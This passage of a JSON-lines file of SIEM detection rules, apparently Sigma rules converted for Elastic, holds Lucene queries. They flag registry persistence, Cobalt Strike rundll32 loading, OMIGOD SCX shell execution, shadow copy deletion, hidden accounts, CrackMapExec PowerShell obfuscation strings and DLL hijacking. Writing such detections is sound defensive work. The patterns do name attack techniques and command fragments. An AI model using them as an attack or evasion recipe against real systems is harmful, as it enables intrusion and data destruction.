Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Rule to detect the configuration of Run Once registry key. Configured payload can be run by runonce.exe /AlternateShellStartup Author: Avneet Singh @v3t0_, oscd.community. License: ","enabled":false,"false_positives":["Legitimate modification of the registry key by legitimate program"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f0f7318c-743c-9731-85f3-6f6e139a3b7b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Run Once Task Configuration in Registry","query":"((winlog.event_data.TargetObject:HKLM\\\\SOFTWARE\\\\Microsoft\\\\Active\\ Setup\\\\Installed\\ Components* AND winlog.event_data.TargetObject:*\\\\StubPath) AND (NOT ((winlog.event_data.Details:\\\"C\\:\\\\Program\\ Files\\\\Google\\\\Chrome\\\\Application\\\\* AND winlog.event_data.Details:*\\\\Installer\\\\chrmstp.exe\\\"\\ \\-\\-configure\\-user\\-settings\\ \\-\\-verbose\\-logging\\ \\-\\-system\\-level))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC. License: ","enabled":false,"false_positives":["Legitimate use of SCX RunAsProvider ExecuteScript."],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"6eea1bf6-f8d2-488a-a742-e6ef6c1b67db","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"OMIGOD SCX RunAsProvider ExecuteScript","query":"(user.name:\"root\" AND LogonId:\"0\" AND process.working_directory:\"\\/var\\/opt\\/microsoft\\/scx\\/tmp\" AND process.command_line:*\\/etc\\/opt\\/microsoft\\/scx\\/conf\\/tmpdir\\/scx*)","meta":{"from":"1m"},"severity":"high","tags":["Initial Access","Privilege Escalation","T1068","T1190","T1203"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1190","name":"Exploit Public-Facing Application","reference":""}]},{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1203","name":"Exploitation for Client Execution","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1068","name":"Exploitation for Privilege Escalation","reference":""}]}],"version":1,"references":[""]}
{"description":"Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC. License: ","enabled":false,"false_positives":["Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand."],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"21541900-27a9-4454-9c4c-3f0a4240344a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"OMIGOD SCX RunAsProvider ExecuteShellCommand","query":"(user.name:\"root\" AND LogonId:\"0\" AND process.working_directory:\"\\/var\\/opt\\/microsoft\\/scx\\/tmp\" AND process.command_line:*\\/bin\\/sh*)","meta":{"from":"1m"},"severity":"high","tags":["Initial Access","Privilege Escalation","T1068","T1190","T1203"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1190","name":"Exploit Public-Facing Application","reference":""}]},{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1203","name":"Exploitation for Client Execution","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1068","name":"Exploitation for Privilege Escalation","reference":""}]}],"version":1,"references":[""]}
{"description":"Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line. Author: Wojciech Lesicki. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9396d2d3-9993-0143-8be1-0b0e8de53876","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"CobaltStrike Load by Rundll32","query":"(process.command_line:*rundll32.exe* AND process.command_line:*.dll* AND process.command_line:*StartW*)","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Running Chrome VPN Extensions via the Registry install 2 vpn extension Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3fa88651-877b-ab18-b033-933c1593f945","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Running Chrome VPN Extensions via the Registry 2 VPN Extension","query":"(winlog.event_data.TargetObject:*Software\\\\Wow6432Node\\\\Google\\\\Chrome\\\\Extensions* AND winlog.event_data.TargetObject:*update_url AND winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*fdcgdnkidjaadafnichfpabhfomcebme* OR *fcfhplploccackoneaefokcmbjfbkenj* OR *bihmplhobchoageeokmgbdihknkjbknd* OR *gkojfkhlekighikafcpjkiklfbnlmeio* OR *jajilbjjinjmgcibalaakngmkilboobh* OR *gjknjjomckknofjidppipffbpoekiipm* OR *nabbmpekekjknlbkgpodfndbodhijjem* OR *kpiecbcckbofpmkkkdibbllpinceiihk* OR *nlbejmccbhkncgokjcmghpfloaajcffj* OR *omghfjlpggmjjaagoclmmobgdodcjboh* OR *bibjcjfmgapbfoljiojpipaooddpkpai* OR *mpcaainmfjjigeicjnlkdfajbioopjko* OR *jljopmgdobloagejpohpldgkiellmfnc* OR *lochiccbgeohimldjooaakjllnafhaid* OR *nhnfcgpcbfclhfafjlooihdfghaeinfc* OR *ookhnhpkphagefgdiemllfajmkdkcaim* OR *namfblliamklmeodpcelkokjbffgmeoo* OR *nbcojefnccbanplpoffopkoepjmhgdgh* OR *majdfhpaihoncoakbjgbdhglocklcgno* OR *lnfdmdhmfbimhhpaeocncdlhiodoblbd* OR *eppiocemhmnlbhjplcgkofciiegomcon* OR *cocfojppfigjeefejbpfmedgjbpchcng* OR *foiopecknacmiihiocgdjgbjokkpkohc* OR *hhdobjgopfphlmjbmnpglhfcgppchgje* OR *jgbaghohigdbgbolncodkdlpenhcmcge* OR *inligpkjkhbpifecbdjhmdpcfhnlelja* OR *higioemojdadgdbhbbbkfbebbdlfjbip* OR *hipncndjamdcmphkgngojegjblibadbe* OR *iolonopooapdagdemdoaihahlfkncfgg* OR *nhfjkakglbnnpkpldhjmpmmfefifedcj* OR *jpgljfpmoofbmlieejglhonfofmahini* OR *fgddmllnllkalaagkghckoinaemmogpe* OR *ejkaocphofnobjdedneohbbiilggdlbi* OR *keodbianoliadkoelloecbhllnpiocoi* OR *hoapmlpnmpaehilehggglehfdlnoegck* OR *poeojclicodamonabcabmapamjkkmnnk* OR *dfkdflfgjdajbhocmfjolpjbebdkcjog* OR *kcdahmgmaagjhocpipbodaokikjkampi* OR *klnkiajpmpkkkgpgbogmcgfjhdoljacg* OR *lneaocagcijjdpkcabeanfpdbmapcjjg* OR *pgfpignfckbloagkfnamnolkeaecfgfh* OR *jplnlifepflhkbkgonidnobkakhmpnmh* OR *jliodmnojccaloajphkingdnpljdhdok* OR *hnmpcagpplmpfojmgmnngilcnanddlhb* OR *ffbkglfijbcbgblgflchnbphjdllaogb* OR *kcndmbbelllkmioekdagahekgimemejo* OR *jdgilggpfmjpbodmhndmhojklgfdlhob* OR *bihhflimonbpcfagfadcnbbdngpopnjb* OR *ppajinakbfocjfnijggfndbdmjggcmde* OR *oofgbpoabipfcfjapgnbbjjaenockbdp* OR *bhnhkdgoefpmekcgnccpnhjfdgicfebm* OR *knmmpciebaoojcpjjoeonlcjacjopcpf* OR *dhadilbmmjiooceioladdphemaliiobo* OR *jedieiamjmoflcknjdjhpieklepfglin* OR *mhngpdlhojliikfknhfaglpnddniijfh* OR *omdakjcmkglenbhjadbccaookpfjihpa* OR *npgimkapccfidfkfoklhpkgmhgfejhbj* OR *akeehkgglkmpapdnanoochpfmeghfdln* OR *gbmdmipapolaohpinhblmcnpmmlgfgje* OR *aigmfoeogfnljhnofglledbhhfegannp* OR *cgojmfochfikphincbhokimmmjenhhgk* OR *ficajfeojakddincjafebjmfiefcmanc* OR *ifnaibldjfdmaipaddffmgcmekjhiloa* OR *jbnmpdkcfkochpanomnkhnafobppmccn* OR *apcfdffemoinopelidncddjbhkiblecc* OR *mjolnodfokkkaichkcjipfgblbfgojpa* OR *oifjbnnafapeiknapihcmpeodaeblbkn* OR *plpmggfglncceinmilojdkiijhmajkjh* OR *mjnbclmflcpookeapghfhapeffmpodij* OR *bblcccknbdbplgmdjnnikffefhdlobhp* OR *aojlhgbkmkahabcmcpifbolnoichfeep* OR *lcmammnjlbmlbcaniggmlejfjpjagiia* OR *knajdeaocbpmfghhmijicidfcmdgbdpm* OR *bdlcnpceagnkjnjlbbbcepohejbheilk* OR *edknjdjielmpdlnllkdmaghlbpnmjmgb* OR *eidnihaadmmancegllknfbliaijfmkgo* OR *ckiahbcmlmkpfiijecbpflfahoimklke* OR *macdlemfnignjhclfcfichcdhiomgjjb* OR *chioafkonnhbpajpengbalkececleldf* OR *amnoibeflfphhplmckdbiajkjaoomgnj* OR *llbhddikeonkpbhpncnhialfbpnilcnc* OR *pcienlhnoficegnepejpfiklggkioccm* OR *iocnglnmfkgfedpcemdflhkchokkfeii* OR *igahhbkcppaollcjeaaoapkijbnphfhb* OR *njpmifchgidinihmijhcfpbdmglecdlb* OR *ggackgngljinccllcmbgnpgpllcjepgc* OR *kchocjcihdgkoplngjemhpplmmloanja* OR *bnijmipndnicefcdbhgcjoognndbgkep* OR *lklekjodgannjcccdlbicoamibgbdnmi* OR *dbdbnchagbkhknegmhgikkleoogjcfge* OR *egblhcjfjmbjajhjhpmnlekffgaemgfh* OR *ehbhfpfdkmhcpaehaooegfdflljcnfec* OR *bkkgdjpomdnfemhhkalfkogckjdkcjkg* OR *almalgbpmcfpdaopimbdchdliminoign* OR *akkbkhnikoeojlhiiomohpdnkhbkhieh* OR *gbfgfbopcfokdpkdigfmoeaajfmpkbnh* OR *bniikohfmajhdcffljgfeiklcbgffppl* OR *lejgfmmlngaigdmmikblappdafcmkndb* OR *ffhhkmlgedgcliajaedapkdfigdobcif* OR *gcknhkkoolaabfmlnjonogaaifnjlfnp* OR *pooljnboifbodgifngpppfklhifechoe* OR *fjoaledfpmneenckfbpdfhkmimnjocfa* OR *aakchaleigkohafkfjfjbblobjifikek* OR *dpplabbmogkhghncfbfdeeokoefdjegm* OR *padekgcemlokbadohgkifijomclgjgif* OR *bfidboloedlamgdmenmlbipfnccokknp*))","meta":{"from":"1m"},"severity":"high","tags":["T1133"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1133","name":"External Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"schtasks.exe create task from user AppData\\Local\\Temp Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"68b22372-d361-8e76-1b10-0755d9b8bb98","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicius Add Task From User AppData Temp","query":"((process.executable:*schtasks.exe AND process.command_line:*\\/Create\\ * AND process.command_line:*\\\\AppData\\\\Local\\\\Temp*) AND (NOT ((process.command_line:*\\/Create\\ \\/TN\\ \\\"klcp_update\\\"\\ \\/XML\\ * AND process.command_line:*\\\\klcp_update_task.xml*))))","meta":{"from":"1m"},"severity":"high","tags":["T1053"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]}],"version":1,"references":[""]}
{"description":"Search for usage of reg or Powershell by non-priveleged users to modify service configuration in registry Author: Teymur Kheirkhabarov (idea), Ryan Plas (rule), oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8f02c935-effe-45b3-8fc9-ef8696a9e41d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Non-privileged Usage of Reg or Powershell","query":"(IntegrityLevel:\"Medium\" AND ((process.command_line:*reg* AND process.command_line:*add*) OR (process.command_line:*powershell* AND process.command_line:(*set\\-itemproperty* OR *\\ sp\\ * OR *new\\-itemproperty*))) AND (process.command_line:*ControlSet* AND process.command_line:*Services*) AND process.command_line:(*ImagePath* OR *FailureCommand* OR *ServiceDLL*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Set a powershell execution in a Windows registery run key Author: frack113. License: ","enabled":false,"false_positives":["Legitim admin script"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"beacc1da-3e4a-b7e6-72ad-20ec190cb745","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Powershell in Windows Run Keys","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run* OR *\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce*) AND winlog.event_data.Details:*powershell*)","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"setupapi.dll library provide InstallHinfSection function for processing INF files. INF file may contain instructions allowing to create values in the registry, modify files and install drivers. This technique could be used to obtain persistence via modifying one of Run or RunOnce registry keys, run process or use other DLLs chain calls (see references) InstallHinfSection function in setupapi.dll calls runonce.exe executable regardless of actual content of INF file. Author: Konstantin Grishchenko, oscd.community. License: ","enabled":false,"false_positives":["Scripts and administrative tools that use INF files for driver installation with setupapi.dll"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"285b85b1-a555-4095-8652-a8a4106af63f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Rundll32 Setupapi.dll Activity","query":"(process.executable:*\\\\runonce.exe AND process.parent.executable:*\\\\rundll32.exe AND process.parent.command_line:*setupapi.dll* AND process.parent.command_line:*InstallHinfSection*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Shadow Copies creation using operating systems utilities, possible credential access Author: Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administrator working with shadow copies, access for backup purposes"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b17ea6f7-6e90-447e-a799-e6c0a493d6ce","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Shadow Copies Creation Using Operating Systems Utilities","query":"(process.executable:(*\\\\powershell.exe OR *\\\\wmic.exe OR *\\\\vssadmin.exe) AND process.command_line:*shadow* AND process.command_line:*create*)","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1003","T1003","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Shadow Copies deletion using operating systems utilities Author: Florian Roth, Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades). License: ","enabled":false,"false_positives":["Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c947b146-0abc-4c87-9c64-b17e9d7274a2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Shadow Copies Deletion Using Operating Systems Utilities","query":"((process.executable:(*\\\\powershell.exe OR *\\\\wmic.exe OR *\\\\vssadmin.exe OR *\\\\diskshadow.exe) AND process.command_line:*shadow* AND process.command_line:*delete*) OR (process.executable:*\\\\wbadmin.exe AND process.command_line:*delete* AND process.command_line:*catalog* AND process.command_line:*quiet*) OR (process.executable:*\\\\vssadmin.exe AND process.command_line:*resize* AND process.command_line:*shadowstorage* AND process.command_line:*unbounded*))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1070","T1490"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""}]},{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1490","name":"Inhibit System Recovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Shadow Copies storage symbolic link creation using operating systems utilities Author: Teymur Kheirkhabarov, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administrator working with shadow copies, access for backup purposes"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"40b19fa6-d835-400c-b301-41f3a2baacaf","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Shadow Copies Access via Symlink","query":"(process.command_line:*mklink* AND process.command_line:*HarddiskVolumeShadowCopy*)","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1003","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Suspicious add key for BitLocker Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0e0255bf-2548-47b8-9582-c0955c9283f5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Reg Add BitLocker","query":"(process.command_line:*REG* AND process.command_line:*ADD* AND process.command_line:*HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\FVE* AND process.command_line:*\\/v* AND process.command_line:*\\/f* AND process.command_line:(*EnableBDEWithNoTPM* OR *UseAdvancedStartup* OR *UseTPM* OR *UseTPMKey* OR *UseTPMKeyPIN* OR *RecoveryKeyMessageSource* OR *UseTPMPIN* OR *RecoveryKeyMessage*))","meta":{"from":"1m"},"severity":"medium","tags":["T1486"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1486","name":"Data Encrypted for Impact","reference":""}]}],"version":1,"references":[""]}
{"description":"Suspicious behaviours related to an actor tracked by Microsoft as SOURGUM Author: MSTIC, FPT.EagleEye. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0be77bb3-a54f-123a-d538-3b016af6170e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"SOURGUM Actor Behaviours","query":"((process.executable:*windows\\\\system32\\\\Physmem.sys* OR process.executable:(*Windows\\\\system32\\\\ime\\\\SHARED\\\\WimBootConfigurations.ini* OR *Windows\\\\system32\\\\ime\\\\IMEJP\\\\WimBootConfigurations.ini* OR *Windows\\\\system32\\\\ime\\\\IMETC\\\\WimBootConfigurations.ini*)) OR (process.executable:(*windows\\\\system32\\\\filepath2* OR *windows\\\\system32\\\\ime*) AND process.command_line:*reg\\ add* AND process.command_line:(*HKEY_LOCAL_MACHINE\\\\software\\\\classes\\\\clsid\\\\\\{7c857801\\-7381\\-11cf\\-884d\\-00aa004b2e24\\}\\\\inprocserver32* OR *HKEY_LOCAL_MACHINE\\\\software\\\\classes\\\\clsid\\\\\\{cf4cc405\\-e2c5\\-4ddd\\-b3ce\\-5e7582d8c9fa\\}\\\\inprocserver32*)))","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1546","T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""},{"id":"T1546","name":"Event Triggered Execution","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""},{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"suspicious command line to remove exe or dll Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"204b17ae-4007-471b-917b-b917b315c5db","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Del in CommandLine","query":"((process.command_line:*del\\ *.exe* AND process.command_line:*\\/f\\ * AND process.command_line:*\\/q\\ *) OR (process.command_line:*del\\ *.dll* AND process.command_line:*C\\:\\\\ProgramData\\\\*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1070"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""}]}],"version":1,"references":[""]}
{"description":"Sysmon registry detection of a local hidden user account. Author: Christian Burkard. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a9ec1fac-9667-e57a-1cd0-046ab3578565","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Creation of a Local Hidden User Account by Registry","query":"(winlog.event_data.TargetObject:HKLM\\\\SAM\\\\SAM\\\\Domains\\\\Account\\\\Users\\\\Names\\\\* AND winlog.event_data.TargetObject:*$ AND process.executable:*lsass.exe)","meta":{"from":"1m"},"severity":"high","tags":["T1136"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1136","name":"Create Account","reference":""}]}],"version":1,"references":[""]}
{"description":"TeamViewer_Desktop.exe is create during install Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1f2f88a6-79f2-6d01-2d9a-533cb1fec850","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Installation of TeamViewer Desktop","query":"file.path:*\\\\TeamViewer_Desktop.exe","meta":{"from":"1m"},"severity":"medium","tags":["T1219"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create \"shortcuts\" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries. Author: Sreeman. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4f38e6cd-7a10-a255-7904-3eb842c394e2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Arbitrary Shell Command Execution Via Settingcontent-Ms","query":"(winlog.channel:\"Security\" AND process.command_line:*.SettingContent\\-ms* AND (NOT (FilePath:*immersivecontrolpanel*)))","meta":{"from":"1m"},"severity":"medium","tags":["Initial Access","T1204","T1566"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1566","name":"Phishing","reference":""}]},{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1204","name":"User Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule. Author: Thomas Patzke. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"91f1f657-7f1d-7aa5-461d-fc7101e9ee0c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"CrackMapExec PowerShell Obfuscation","query":"(process.command_line:*powershell.exe* AND process.command_line:(*join*split* OR *\$\\ $ShellId\\[1\\]\\+$ShellId\\[13\\]\\+'x'\$* OR *\$\\ $PSHome\\[*\\]\\+$PSHOME\\[*\\]\\+* OR *\\(\\ $env\\:Public\\[13\\]\\+$env\\:Public\\[5\\]\\+'x'\$* OR *\$\\ $env\\:ComSpec\\[4,*,25\\]\\-Join''\$* OR *\\[1,3\\]\\+'x'\\-Join''\\)*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"The Devtoolslauncher.exe executes other binary Author: Beyu Denis, oscd.community (rule), @_felamos (idea). License: ","enabled":false,"false_positives":["Legitimate use of devtoolslauncher.exe by legitimate user"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"cc268ac1-42d9-40fd-9ed3-8c4e1a5b87e6","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Devtoolslauncher.exe Executes Specified Binary","query":"(process.executable:*\\\\devtoolslauncher.exe AND process.command_line:*LaunchForDeploy*)","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service. Author: NVISO. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"30e5c44e-9d41-faf6-6fd3-a74d1f02fc47","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Fax Service DLL Search Order Hijack","query":"((process.executable:*fxssvc.exe AND file.path:*ualapi.dll) AND (NOT (file.path:C\\:\\\\Windows\\\\WinSxS\\\\*)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1574","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""},{"id":"T1574","name":"Hijack Execution Flow","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""},{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
